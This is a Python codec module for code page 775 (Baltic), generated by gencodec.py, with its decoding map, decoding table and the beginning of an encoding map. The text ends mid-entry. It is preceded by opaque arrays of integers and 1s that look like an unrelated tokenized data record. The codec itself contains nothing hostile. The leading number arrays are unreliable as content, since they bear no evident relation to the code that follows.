275, 1709, 14, 3190, 360, 14499, 297, 3660, 4048, 63, 354, 534, 21924, 63, 70, 21703, 63, 4368, 297, 3660, 4596, 29, 549, 12, 2973, 29, 549, 9, 339, 4618, 15546, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 991, 275, 1709, 14, 3190, 360, 14499, 297, 4228, 4048, 63, 354, 534, 3911, 15546, 63, 70, 21703, 63, 4368, 297, 4228, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 28233, 380, 68, 63, 6789, 275, 1709, 14, 8591, 8, 267, 3415, 29, 8693, 1179, 14, 1744, 1062, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 4219, 83, 63, 7237, 379, 275, 1709, 14, 8591, 8, 267, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 10957, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 2027, 4585, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 4618, 15546, 63, 3349, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 28159, 12, 5101, 4596, 29, 549, 12, 2973, 29, 549, 9, 339, 22763, 63, 265, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 991, 275, 1709, 14, 3190, 360, 14499, 297, 3660, 4048, 63, 354, 534, 16391, 63, 70, 21703, 63, 4368, 297, 3660, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 28233, 380, 68, 63, 6789, 275, 1709, 14, 8591, 8, 267, 3415, 29, 8693, 1179, 14, 1744, 1062, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 4219, 83, 63, 7237, 379, 275, 1709, 14, 8591, 8, 267, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 10957, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 2027, 4585, 275, 1709, 14, 8591, 8, 2500, 29, 549, 12, 2973, 29, 549, 9, 272, 22763, 63, 3349, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 28159, 12, 1460, 4596, 29, 549, 12, 2973, 29, 549, 9, 339, 768, 3744, 272, 347, 664, 63, 269, 63, 3592, 8, 1886, 12, 12893, 304, 267, 862, 26, 288, 372, 843, 14, 1462, 14, 362, 8, 5425, 29, 5425, 14, 2325, 1012, 267, 871, 843, 14, 7400, 26, 288, 372, 488, 339, 768, 3744, 272, 347, 9250, 8, 1886, 12, 2909, 12, 2737, 63, 265, 304, 267, 862, 26, 288, 308, 364, 275, 2737, 63, 265, 446, 2197, 14, 7473, 8, 355, 4696, 29, 1886, 14, 24099, 2507, 1951, 63, 36, 15301, 9, 288, 372, 843, 14, 1462, 14, 1541, 8, 1985, 29, 1985, 9, 971, 2892, 1275, 1541, 8, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 generated from 'VENDORS/MICSFT/PC/CP775.TXT' with gencodec.py. """#" import codecs ### Codec APIs class Codec(codecs.Codec): def encode(self,input,errors='strict'): return codecs.charmap_encode(input,errors,encoding_map) def decode(self,input,errors='strict'): return codecs.charmap_decode(input,errors,decoding_table) class IncrementalEncoder(codecs.IncrementalEncoder): def encode(self, input, final=False): return codecs.charmap_encode(input,self.errors,encoding_map)[0] class IncrementalDecoder(codecs.IncrementalDecoder): def decode(self, input, final=False): return codecs.charmap_decode(input,self.errors,decoding_table)[0] class StreamWriter(Codec,codecs.StreamWriter): pass class StreamReader(Codec,codecs.StreamReader): pass ### encodings module API def getregentry(): return codecs.CodecInfo( name='cp775', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamreader=StreamReader, streamwriter=StreamWriter, ) ### Decoding Map decoding_map = codecs.make_identity_dict(range(256)) decoding_map.update({ 0x0080: 0x0106, # LATIN CAPITAL LETTER C WITH ACUTE 0x0081: 0x00fc, # LATIN SMALL LETTER U WITH DIAERESIS 0x0082: 0x00e9, # LATIN SMALL LETTER E WITH ACUTE 0x0083: 0x0101, # LATIN SMALL LETTER A WITH MACRON 0x0084: 0x00e4, # LATIN SMALL LETTER A WITH DIAERESIS 0x0085: 0x0123, # LATIN SMALL LETTER G WITH CEDILLA 0x0086: 0x00e5, # LATIN SMALL LETTER A WITH RING ABOVE 0x0087: 0x0107, # LATIN SMALL LETTER C WITH ACUTE 0x0088: 0x0142, # LATIN SMALL LETTER L WITH STROKE 0x0089: 0x0113, # LATIN SMALL LETTER E WITH MACRON 0x008a: 0x0156, # LATIN CAPITAL LETTER R WITH CEDILLA 0x008b: 0x0157, # LATIN SMALL LETTER R WITH CEDILLA 0x008c: 0x012b, # LATIN SMALL LETTER I WITH MACRON 0x008d: 0x0179, # LATIN CAPITAL LETTER Z WITH ACUTE 0x008e: 0x00c4, # LATIN CAPITAL LETTER A WITH DIAERESIS 0x008f: 0x00c5, # LATIN CAPITAL LETTER A WITH RING ABOVE 0x0090: 0x00c9, # LATIN CAPITAL LETTER E WITH ACUTE 0x0091: 0x00e6, # LATIN SMALL LIGATURE AE 0x0092: 0x00c6, # LATIN CAPITAL LIGATURE AE 0x0093: 0x014d, # LATIN SMALL LETTER O WITH MACRON 0x0094: 0x00f6, # LATIN SMALL LETTER O WITH DIAERESIS 0x0095: 0x0122, # LATIN CAPITAL LETTER G WITH CEDILLA 0x0096: 0x00a2, # CENT SIGN 0x0097: 0x015a, # LATIN CAPITAL LETTER S WITH ACUTE 0x0098: 0x015b, # LATIN SMALL LETTER S WITH ACUTE 0x0099: 0x00d6, # LATIN CAPITAL LETTER O WITH DIAERESIS 0x009a: 0x00dc, # LATIN CAPITAL LETTER U WITH DIAERESIS 0x009b: 0x00f8, # LATIN SMALL LETTER O WITH STROKE 0x009c: 0x00a3, # POUND SIGN 0x009d: 0x00d8, # LATIN CAPITAL LETTER O WITH STROKE 0x009e: 0x00d7, # MULTIPLICATION SIGN 0x009f: 0x00a4, # CURRENCY SIGN 0x00a0: 0x0100, # LATIN CAPITAL LETTER A WITH MACRON 0x00a1: 0x012a, # LATIN CAPITAL LETTER I WITH MACRON 0x00a2: 0x00f3, # LATIN SMALL LETTER O WITH ACUTE 0x00a3: 0x017b, # LATIN CAPITAL LETTER Z WITH DOT ABOVE 0x00a4: 0x017c, # LATIN SMALL LETTER Z WITH DOT ABOVE 0x00a5: 0x017a, # LATIN SMALL LETTER Z WITH ACUTE 0x00a6: 0x201d, # RIGHT DOUBLE QUOTATION MARK 0x00a7: 0x00a6, # BROKEN BAR 0x00a8: 0x00a9, # COPYRIGHT SIGN 0x00a9: 0x00ae, # REGISTERED SIGN 0x00aa: 0x00ac, # NOT SIGN 0x00ab: 0x00bd, # VULGAR FRACTION ONE HALF 0x00ac: 0x00bc, # VULGAR FRACTION ONE QUARTER 0x00ad: 0x0141, # LATIN CAPITAL LETTER L WITH STROKE 0x00ae: 0x00ab, # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK 0x00af: 0x00bb, # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK 0x00b0: 0x2591, # LIGHT SHADE 0x00b1: 0x2592, # MEDIUM SHADE 0x00b2: 0x2593, # DARK SHADE 0x00b3: 0x2502, # BOX DRAWINGS LIGHT VERTICAL 0x00b4: 0x2524, # BOX DRAWINGS LIGHT VERTICAL AND LEFT 0x00b5: 0x0104, # LATIN CAPITAL LETTER A WITH OGONEK 0x00b6: 0x010c, # LATIN CAPITAL LETTER C WITH CARON 0x00b7: 0x0118, # LATIN CAPITAL LETTER E WITH OGONEK 0x00b8: 0x0116, # LATIN CAPITAL LETTER E WITH DOT ABOVE 0x00b9: 0x2563, # BOX DRAWINGS DOUBLE VERTICAL AND LEFT 0x00ba: 0x2551, # BOX DRAWINGS DOUBLE VERTICAL 0x00bb: 0x2557, # BOX DRAWINGS DOUBLE DOWN AND LEFT 0x00bc: 0x255d, # BOX DRAWINGS DOUBLE UP AND LEFT 0x00bd: 0x012e, # LATIN CAPITAL LETTER I WITH OGONEK 0x00be: 0x0160, # LATIN CAPITAL LETTER S WITH CARON 0x00bf: 0x2510, # BOX DRAWINGS LIGHT DOWN AND LEFT 0x00c0: 0x2514, # BOX DRAWINGS LIGHT UP AND RIGHT 0x00c1: 0x2534, # BOX DRAWINGS LIGHT UP AND HORIZONTAL 0x00c2: 0x252c, # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL 0x00c3: 0x251c, # BOX DRAWINGS LIGHT VERTICAL AND RIGHT 0x00c4: 0x2500, # BOX DRAWINGS LIGHT HORIZONTAL 0x00c5: 0x253c, # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL 0x00c6: 0x0172, # LATIN CAPITAL LETTER U WITH OGONEK 0x00c7: 0x016a, # LATIN CAPITAL LETTER U WITH MACRON 0x00c8: 0x255a, # BOX DRAWINGS DOUBLE UP AND RIGHT 0x00c9: 0x2554, # BOX DRAWINGS DOUBLE DOWN AND RIGHT 0x00ca: 0x2569, # BOX DRAWINGS DOUBLE UP AND HORIZONTAL 0x00cb: 0x2566, # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL 0x00cc: 0x2560, # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT 0x00cd: 0x2550, # BOX DRAWINGS DOUBLE HORIZONTAL 0x00ce: 0x256c, # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL 0x00cf: 0x017d, # LATIN CAPITAL LETTER Z WITH CARON 0x00d0: 0x0105, # LATIN SMALL LETTER A WITH OGONEK 0x00d1: 0x010d, # LATIN SMALL LETTER C WITH CARON 0x00d2: 0x0119, # LATIN SMALL LETTER E WITH OGONEK 0x00d3: 0x0117, # LATIN SMALL LETTER E WITH DOT ABOVE 0x00d4: 0x012f, # LATIN SMALL LETTER I WITH OGONEK 0x00d5: 0x0161, # LATIN SMALL LETTER S WITH CARON 0x00d6: 0x0173, # LATIN SMALL LETTER U WITH OGONEK 0x00d7: 0x016b, # LATIN SMALL LETTER U WITH MACRON 0x00d8: 0x017e, # LATIN SMALL LETTER Z WITH CARON 0x00d9: 0x2518, # BOX DRAWINGS LIGHT UP AND LEFT 0x00da: 0x250c, # BOX DRAWINGS LIGHT DOWN AND RIGHT 0x00db: 0x2588, # FULL BLOCK 0x00dc: 0x2584, # LOWER HALF BLOCK 0x00dd: 0x258c, # LEFT HALF BLOCK 0x00de: 0x2590, # RIGHT HALF BLOCK 0x00df: 0x2580, # UPPER HALF BLOCK 0x00e0: 0x00d3, # LATIN CAPITAL LETTER O WITH ACUTE 0x00e1: 0x00df, # LATIN SMALL LETTER SHARP S (GERMAN) 0x00e2: 0x014c, # LATIN CAPITAL LETTER O WITH MACRON 0x00e3: 0x0143, # LATIN CAPITAL LETTER N WITH ACUTE 0x00e4: 0x00f5, # LATIN SMALL LETTER O WITH TILDE 0x00e5: 0x00d5, # LATIN CAPITAL LETTER O WITH TILDE 0x00e6: 0x00b5, # MICRO SIGN 0x00e7: 0x0144, # LATIN SMALL LETTER N WITH ACUTE 0x00e8: 0x0136, # LATIN CAPITAL LETTER K WITH CEDILLA 0x00e9: 0x0137, # LATIN SMALL LETTER K WITH CEDILLA 0x00ea: 0x013b, # LATIN CAPITAL LETTER L WITH CEDILLA 0x00eb: 0x013c, # LATIN SMALL LETTER L WITH CEDILLA 0x00ec: 0x0146, # LATIN SMALL LETTER N WITH CEDILLA 0x00ed: 0x0112, # LATIN CAPITAL LETTER E WITH MACRON 0x00ee: 0x0145, # LATIN CAPITAL LETTER N WITH CEDILLA 0x00ef: 0x2019, # RIGHT SINGLE QUOTATION MARK 0x00f0: 0x00ad, # SOFT HYPHEN 0x00f1: 0x00b1, # PLUS-MINUS SIGN 0x00f2: 0x201c, # LEFT DOUBLE QUOTATION MARK 0x00f3: 0x00be, # VULGAR FRACTION THREE QUARTERS 0x00f4: 0x00b6, # PILCROW SIGN 0x00f5: 0x00a7, # SECTION SIGN 0x00f6: 0x00f7, # DIVISION SIGN 0x00f7: 0x201e, # DOUBLE LOW-9 QUOTATION MARK 0x00f8: 0x00b0, # DEGREE SIGN 0x00f9: 0x2219, # BULLET OPERATOR 0x00fa: 0x00b7, # MIDDLE DOT 0x00fb: 0x00b9, # SUPERSCRIPT ONE 0x00fc: 0x00b3, # SUPERSCRIPT THREE 0x00fd: 0x00b2, # SUPERSCRIPT TWO 0x00fe: 0x25a0, # BLACK SQUARE 0x00ff: 0x00a0, # NO-BREAK SPACE }) ### Decoding Table decoding_table = ( u'\x00' # 0x0000 -> NULL u'\x01' # 0x0001 -> START OF HEADING u'\x02' # 0x0002 -> START OF TEXT u'\x03' # 0x0003 -> END OF TEXT u'\x04' # 0x0004 -> END OF TRANSMISSION u'\x05' # 0x0005 -> ENQUIRY u'\x06' # 0x0006 -> ACKNOWLEDGE u'\x07' # 0x0007 -> BELL u'\x08' # 0x0008 -> BACKSPACE u'\t' # 0x0009 -> HORIZONTAL TABULATION u'\n' # 0x000a -> LINE FEED u'\x0b' # 0x000b -> VERTICAL TABULATION u'\x0c' # 0x000c -> FORM FEED u'\r' # 0x000d -> CARRIAGE RETURN u'\x0e' # 0x000e -> SHIFT OUT u'\x0f' # 0x000f -> SHIFT IN u'\x10' # 0x0010 -> DATA LINK ESCAPE u'\x11' # 0x0011 -> DEVICE CONTROL ONE u'\x12' # 0x0012 -> DEVICE CONTROL TWO u'\x13' # 0x0013 -> DEVICE CONTROL THREE u'\x14' # 0x0014 -> DEVICE CONTROL FOUR u'\x15' # 0x0015 -> NEGATIVE ACKNOWLEDGE u'\x16' # 0x0016 -> SYNCHRONOUS IDLE u'\x17' # 0x0017 -> END OF TRANSMISSION BLOCK u'\x18' # 0x0018 -> CANCEL u'\x19' # 0x0019 -> END OF MEDIUM u'\x1a' # 0x001a -> SUBSTITUTE u'\x1b' # 0x001b -> ESCAPE u'\x1c' # 0x001c -> FILE SEPARATOR u'\x1d' # 0x001d -> GROUP SEPARATOR u'\x1e' # 0x001e -> RECORD SEPARATOR u'\x1f' # 0x001f -> UNIT SEPARATOR u' ' # 0x0020 -> SPACE u'!' # 0x0021 -> EXCLAMATION MARK u'"' # 0x0022 -> QUOTATION MARK u'#' # 0x0023 -> NUMBER SIGN u'$' # 0x0024 -> DOLLAR SIGN u'%' # 0x0025 -> PERCENT SIGN u'&' # 0x0026 -> AMPERSAND u"'" # 0x0027 -> APOSTROPHE u'(' # 0x0028 -> LEFT PARENTHESIS u')' # 0x0029 -> RIGHT PARENTHESIS u'*' # 0x002a -> ASTERISK u'+' # 0x002b -> PLUS SIGN u',' # 0x002c -> COMMA u'-' # 0x002d -> HYPHEN-MINUS u'.' # 0x002e -> FULL STOP u'/' # 0x002f -> SOLIDUS u'0' # 0x0030 -> DIGIT ZERO u'1' # 0x0031 -> DIGIT ONE u'2' # 0x0032 -> DIGIT TWO u'3' # 0x0033 -> DIGIT THREE u'4' # 0x0034 -> DIGIT FOUR u'5' # 0x0035 -> DIGIT FIVE u'6' # 0x0036 -> DIGIT SIX u'7' # 0x0037 -> DIGIT SEVEN u'8' # 0x0038 -> DIGIT EIGHT u'9' # 0x0039 -> DIGIT NINE u':' # 0x003a -> COLON u';' # 0x003b -> SEMICOLON u'<' # 0x003c -> LESS-THAN SIGN u'=' # 0x003d -> EQUALS SIGN u'>' # 0x003e -> GREATER-THAN SIGN u'?' # 0x003f -> QUESTION MARK u'@' # 0x0040 -> COMMERCIAL AT u'A' # 0x0041 -> LATIN CAPITAL LETTER A u'B' # 0x0042 -> LATIN CAPITAL LETTER B u'C' # 0x0043 -> LATIN CAPITAL LETTER C u'D' # 0x0044 -> LATIN CAPITAL LETTER D u'E' # 0x0045 -> LATIN CAPITAL LETTER E u'F' # 0x0046 -> LATIN CAPITAL LETTER F u'G' # 0x0047 -> LATIN CAPITAL LETTER G u'H' # 0x0048 -> LATIN CAPITAL LETTER H u'I' # 0x0049 -> LATIN CAPITAL LETTER I u'J' # 0x004a -> LATIN CAPITAL LETTER J u'K' # 0x004b -> LATIN CAPITAL LETTER K u'L' # 0x004c -> LATIN CAPITAL LETTER L u'M' # 0x004d -> LATIN CAPITAL LETTER M u'N' # 0x004e -> LATIN CAPITAL LETTER N u'O' # 0x004f -> LATIN CAPITAL LETTER O u'P' # 0x0050 -> LATIN CAPITAL LETTER P u'Q' # 0x0051 -> LATIN CAPITAL LETTER Q u'R' # 0x0052 -> LATIN CAPITAL LETTER R u'S' # 0x0053 -> LATIN CAPITAL LETTER S u'T' # 0x0054 -> LATIN CAPITAL LETTER T u'U' # 0x0055 -> LATIN CAPITAL LETTER U u'V' # 0x0056 -> LATIN CAPITAL LETTER V u'W' # 0x0057 -> LATIN CAPITAL LETTER W u'X' # 0x0058 -> LATIN CAPITAL LETTER X u'Y' # 0x0059 -> LATIN CAPITAL LETTER Y u'Z' # 0x005a -> LATIN CAPITAL LETTER Z u'[' # 0x005b -> LEFT SQUARE BRACKET u'\\' # 0x005c -> REVERSE SOLIDUS u']' # 0x005d -> RIGHT SQUARE BRACKET u'^' # 0x005e -> CIRCUMFLEX ACCENT u'_' # 0x005f -> LOW LINE u'`' # 0x0060 -> GRAVE ACCENT u'a' # 0x0061 -> LATIN SMALL LETTER A u'b' # 0x0062 -> LATIN SMALL LETTER B u'c' # 0x0063 -> LATIN SMALL LETTER C u'd' # 0x0064 -> LATIN SMALL LETTER D u'e' # 0x0065 -> LATIN SMALL LETTER E u'f' # 0x0066 -> LATIN SMALL LETTER F u'g' # 0x0067 -> LATIN SMALL LETTER G u'h' # 0x0068 -> LATIN SMALL LETTER H u'i' # 0x0069 -> LATIN SMALL LETTER I u'j' # 0x006a -> LATIN SMALL LETTER J u'k' # 0x006b -> LATIN SMALL LETTER K u'l' # 0x006c -> LATIN SMALL LETTER L u'm' # 0x006d -> LATIN SMALL LETTER M u'n' # 0x006e -> LATIN SMALL LETTER N u'o' # 0x006f -> LATIN SMALL LETTER O u'p' # 0x0070 -> LATIN SMALL LETTER P u'q' # 0x0071 -> LATIN SMALL LETTER Q u'r' # 0x0072 -> LATIN SMALL LETTER R u's' # 0x0073 -> LATIN SMALL LETTER S u't' # 0x0074 -> LATIN SMALL LETTER T u'u' # 0x0075 -> LATIN SMALL LETTER U u'v' # 0x0076 -> LATIN SMALL LETTER V u'w' # 0x0077 -> LATIN SMALL LETTER W u'x' # 0x0078 -> LATIN SMALL LETTER X u'y' # 0x0079 -> LATIN SMALL LETTER Y u'z' # 0x007a -> LATIN SMALL LETTER Z u'{' # 0x007b -> LEFT CURLY BRACKET u'|' # 0x007c -> VERTICAL LINE u'}' # 0x007d -> RIGHT CURLY BRACKET u'~' # 0x007e -> TILDE u'\x7f' # 0x007f -> DELETE u'\u0106' # 0x0080 -> LATIN CAPITAL LETTER C WITH ACUTE u'\xfc' # 0x0081 -> LATIN SMALL LETTER U WITH DIAERESIS u'\xe9' # 0x0082 -> LATIN SMALL LETTER E WITH ACUTE u'\u0101' # 0x0083 -> LATIN SMALL LETTER A WITH MACRON u'\xe4' # 0x0084 -> LATIN SMALL LETTER A WITH DIAERESIS u'\u0123' # 0x0085 -> LATIN SMALL LETTER G WITH CEDILLA u'\xe5' # 0x0086 -> LATIN SMALL LETTER A WITH RING ABOVE u'\u0107' # 0x0087 -> LATIN SMALL LETTER C WITH ACUTE u'\u0142' # 0x0088 -> LATIN SMALL LETTER L WITH STROKE u'\u0113' # 0x0089 -> LATIN SMALL LETTER E WITH MACRON u'\u0156' # 0x008a -> LATIN CAPITAL LETTER R WITH CEDILLA u'\u0157' # 0x008b -> LATIN SMALL LETTER R WITH CEDILLA u'\u012b' # 0x008c -> LATIN SMALL LETTER I WITH MACRON u'\u0179' # 0x008d -> LATIN CAPITAL LETTER Z WITH ACUTE u'\xc4' # 0x008e -> LATIN CAPITAL LETTER A WITH DIAERESIS u'\xc5' # 0x008f -> LATIN CAPITAL LETTER A WITH RING ABOVE u'\xc9' # 0x0090 -> LATIN CAPITAL LETTER E WITH ACUTE u'\xe6' # 0x0091 -> LATIN SMALL LIGATURE AE u'\xc6' # 0x0092 -> LATIN CAPITAL LIGATURE AE u'\u014d' # 0x0093 -> LATIN SMALL LETTER O WITH MACRON u'\xf6' # 0x0094 -> LATIN SMALL LETTER O WITH DIAERESIS u'\u0122' # 0x0095 -> LATIN CAPITAL LETTER G WITH CEDILLA u'\xa2' # 0x0096 -> CENT SIGN u'\u015a' # 0x0097 -> LATIN CAPITAL LETTER S WITH ACUTE u'\u015b' # 0x0098 -> LATIN SMALL LETTER S WITH ACUTE u'\xd6' # 0x0099 -> LATIN CAPITAL LETTER O WITH DIAERESIS u'\xdc' # 0x009a -> LATIN CAPITAL LETTER U WITH DIAERESIS u'\xf8' # 0x009b -> LATIN SMALL LETTER O WITH STROKE u'\xa3' # 0x009c -> POUND SIGN u'\xd8' # 0x009d -> LATIN CAPITAL LETTER O WITH STROKE u'\xd7' # 0x009e -> MULTIPLICATION SIGN u'\xa4' # 0x009f -> CURRENCY SIGN u'\u0100' # 0x00a0 -> LATIN CAPITAL LETTER A WITH MACRON u'\u012a' # 0x00a1 -> LATIN CAPITAL LETTER I WITH MACRON u'\xf3' # 0x00a2 -> LATIN SMALL LETTER O WITH ACUTE u'\u017b' # 0x00a3 -> LATIN CAPITAL LETTER Z WITH DOT ABOVE u'\u017c' # 0x00a4 -> LATIN SMALL LETTER Z WITH DOT ABOVE u'\u017a' # 0x00a5 -> LATIN SMALL LETTER Z WITH ACUTE u'\u201d' # 0x00a6 -> RIGHT DOUBLE QUOTATION MARK u'\xa6' # 0x00a7 -> BROKEN BAR u'\xa9' # 0x00a8 -> COPYRIGHT SIGN u'\xae' # 0x00a9 -> REGISTERED SIGN u'\xac' # 0x00aa -> NOT SIGN u'\xbd' # 0x00ab -> VULGAR FRACTION ONE HALF u'\xbc' # 0x00ac -> VULGAR FRACTION ONE QUARTER u'\u0141' # 0x00ad -> LATIN CAPITAL LETTER L WITH STROKE u'\xab' # 0x00ae -> LEFT-POINTING DOUBLE ANGLE QUOTATION MARK u'\xbb' # 0x00af -> RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK u'\u2591' # 0x00b0 -> LIGHT SHADE u'\u2592' # 0x00b1 -> MEDIUM SHADE u'\u2593' # 0x00b2 -> DARK SHADE u'\u2502' # 0x00b3 -> BOX DRAWINGS LIGHT VERTICAL u'\u2524' # 0x00b4 -> BOX DRAWINGS LIGHT VERTICAL AND LEFT u'\u0104' # 0x00b5 -> LATIN CAPITAL LETTER A WITH OGONEK u'\u010c' # 0x00b6 -> LATIN CAPITAL LETTER C WITH CARON u'\u0118' # 0x00b7 -> LATIN CAPITAL LETTER E WITH OGONEK u'\u0116' # 0x00b8 -> LATIN CAPITAL LETTER E WITH DOT ABOVE u'\u2563' # 0x00b9 -> BOX DRAWINGS DOUBLE VERTICAL AND LEFT u'\u2551' # 0x00ba -> BOX DRAWINGS DOUBLE VERTICAL u'\u2557' # 0x00bb -> BOX DRAWINGS DOUBLE DOWN AND LEFT u'\u255d' # 0x00bc -> BOX DRAWINGS DOUBLE UP AND LEFT u'\u012e' # 0x00bd -> LATIN CAPITAL LETTER I WITH OGONEK u'\u0160' # 0x00be -> LATIN CAPITAL LETTER S WITH CARON u'\u2510' # 0x00bf -> BOX DRAWINGS LIGHT DOWN AND LEFT u'\u2514' # 0x00c0 -> BOX DRAWINGS LIGHT UP AND RIGHT u'\u2534' # 0x00c1 -> BOX DRAWINGS LIGHT UP AND HORIZONTAL u'\u252c' # 0x00c2 -> BOX DRAWINGS LIGHT DOWN AND HORIZONTAL u'\u251c' # 0x00c3 -> BOX DRAWINGS LIGHT VERTICAL AND RIGHT u'\u2500' # 0x00c4 -> BOX DRAWINGS LIGHT HORIZONTAL u'\u253c' # 0x00c5 -> BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL u'\u0172' # 0x00c6 -> LATIN CAPITAL LETTER U WITH OGONEK u'\u016a' # 0x00c7 -> LATIN CAPITAL LETTER U WITH MACRON u'\u255a' # 0x00c8 -> BOX DRAWINGS DOUBLE UP AND RIGHT u'\u2554' # 0x00c9 -> BOX DRAWINGS DOUBLE DOWN AND RIGHT u'\u2569' # 0x00ca -> BOX DRAWINGS DOUBLE UP AND HORIZONTAL u'\u2566' # 0x00cb -> BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL u'\u2560' # 0x00cc -> BOX DRAWINGS DOUBLE VERTICAL AND RIGHT u'\u2550' # 0x00cd -> BOX DRAWINGS DOUBLE HORIZONTAL u'\u256c' # 0x00ce -> BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL u'\u017d' # 0x00cf -> LATIN CAPITAL LETTER Z WITH CARON u'\u0105' # 0x00d0 -> LATIN SMALL LETTER A WITH OGONEK u'\u010d' # 0x00d1 -> LATIN SMALL LETTER C WITH CARON u'\u0119' # 0x00d2 -> LATIN SMALL LETTER E WITH OGONEK u'\u0117' # 0x00d3 -> LATIN SMALL LETTER E WITH DOT ABOVE u'\u012f' # 0x00d4 -> LATIN SMALL LETTER I WITH OGONEK u'\u0161' # 0x00d5 -> LATIN SMALL LETTER S WITH CARON u'\u0173' # 0x00d6 -> LATIN SMALL LETTER U WITH OGONEK u'\u016b' # 0x00d7 -> LATIN SMALL LETTER U WITH MACRON u'\u017e' # 0x00d8 -> LATIN SMALL LETTER Z WITH CARON u'\u2518' # 0x00d9 -> BOX DRAWINGS LIGHT UP AND LEFT u'\u250c' # 0x00da -> BOX DRAWINGS LIGHT DOWN AND RIGHT u'\u2588' # 0x00db -> FULL BLOCK u'\u2584' # 0x00dc -> LOWER HALF BLOCK u'\u258c' # 0x00dd -> LEFT HALF BLOCK u'\u2590' # 0x00de -> RIGHT HALF BLOCK u'\u2580' # 0x00df -> UPPER HALF BLOCK u'\xd3' # 0x00e0 -> LATIN CAPITAL LETTER O WITH ACUTE u'\xdf' # 0x00e1 -> LATIN SMALL LETTER SHARP S (GERMAN) u'\u014c' # 0x00e2 -> LATIN CAPITAL LETTER O WITH MACRON u'\u0143' # 0x00e3 -> LATIN CAPITAL LETTER N WITH ACUTE u'\xf5' # 0x00e4 -> LATIN SMALL LETTER O WITH TILDE u'\xd5' # 0x00e5 -> LATIN CAPITAL LETTER O WITH TILDE u'\xb5' # 0x00e6 -> MICRO SIGN u'\u0144' # 0x00e7 -> LATIN SMALL LETTER N WITH ACUTE u'\u0136' # 0x00e8 -> LATIN CAPITAL LETTER K WITH CEDILLA u'\u0137' # 0x00e9 -> LATIN SMALL LETTER K WITH CEDILLA u'\u013b' # 0x00ea -> LATIN CAPITAL LETTER L WITH CEDILLA u'\u013c' # 0x00eb -> LATIN SMALL LETTER L WITH CEDILLA u'\u0146' # 0x00ec -> LATIN SMALL LETTER N WITH CEDILLA u'\u0112' # 0x00ed -> LATIN CAPITAL LETTER E WITH MACRON u'\u0145' # 0x00ee -> LATIN CAPITAL LETTER N WITH CEDILLA u'\u2019' # 0x00ef -> RIGHT SINGLE QUOTATION MARK u'\xad' # 0x00f0 -> SOFT HYPHEN u'\xb1' # 0x00f1 -> PLUS-MINUS SIGN u'\u201c' # 0x00f2 -> LEFT DOUBLE QUOTATION MARK u'\xbe' # 0x00f3 -> VULGAR FRACTION THREE QUARTERS u'\xb6' # 0x00f4 -> PILCROW SIGN u'\xa7' # 0x00f5 -> SECTION SIGN u'\xf7' # 0x00f6 -> DIVISION SIGN u'\u201e' # 0x00f7 -> DOUBLE LOW-9 QUOTATION MARK u'\xb0' # 0x00f8 -> DEGREE SIGN u'\u2219' # 0x00f9 -> BULLET OPERATOR u'\xb7' # 0x00fa -> MIDDLE DOT u'\xb9' # 0x00fb -> SUPERSCRIPT ONE u'\xb3' # 0x00fc -> SUPERSCRIPT THREE u'\xb2' # 0x00fd -> SUPERSCRIPT TWO u'\u25a0' # 0x00fe -> BLACK SQUARE u'\xa0' # 0x00ff -> NO-BREAK SPACE ) ### Encoding Map encoding_map = { 0x0000: 0x0000, # NULL 0x0001: 0x0001, # START OF HEADING 0x0002: 0x0002, # START OF TEXT 0x0003: 0x0003, # END OF TEXT 0x0004: 0x0004, # END OF TRANSMISSION 0x0005: 0x0005, # ENQUIRY 0x0006: 0x0006, # ACKNOWLEDGE 0x0007: 0x0007, # BELL 0x0008: 0x0008, # BACKSPACE 0x0009: 0x0009, # HORIZONTAL TABULATION 0x000a: 0x000a, # LINE FEED 0x000b: 0x000b, # VERTICAL TABULATION 0x000c: 0x000c, # FORM FEED 0x000d: 0x000d, # CARRIAGE RETURN 0x000e: 0x000e, # SHIFT OUT 0x000f: 0x000f, # SHIFT IN 0x0010: 0x0010, # DATA LINK ESCAPE 0x0011: 0x0011, # DEVICE CONTROL ONE 0x0012: 0x0012, # DEVICE CONTROL TWO 0x0013: 0x0013, # DEVICE CONTROL THREE 0x0014: 0x0014, # DEVICE CONTROL FOUR 0x0015: 0x0015, # NEGATIVE ACKNOWLEDGE 0x0016: 0x0016, # SYNCHRONOUS IDLE 0x0017: 0x0017, # END OF TRANSMISSION BLOCK 0x0018: 0x0018, # CANCEL 0x0019: 0x0019, # END OF MEDIUM 0x001a: 0x001a, # SUBSTITUTE 0x001b: 0x001b, # ESCAPE 0x001c: 0x001c, # FILE SEPARATOR 0x001d: 0x001d, # GROUP SEPARATOR 0x001e: 0x001e, # RECORD SEPARATOR 0x001f: 0x001f, # UNIT SEPARATOR 0x0020: 0x0020, # SPACE 0x0021: 0x0021, # EXCLAMATION 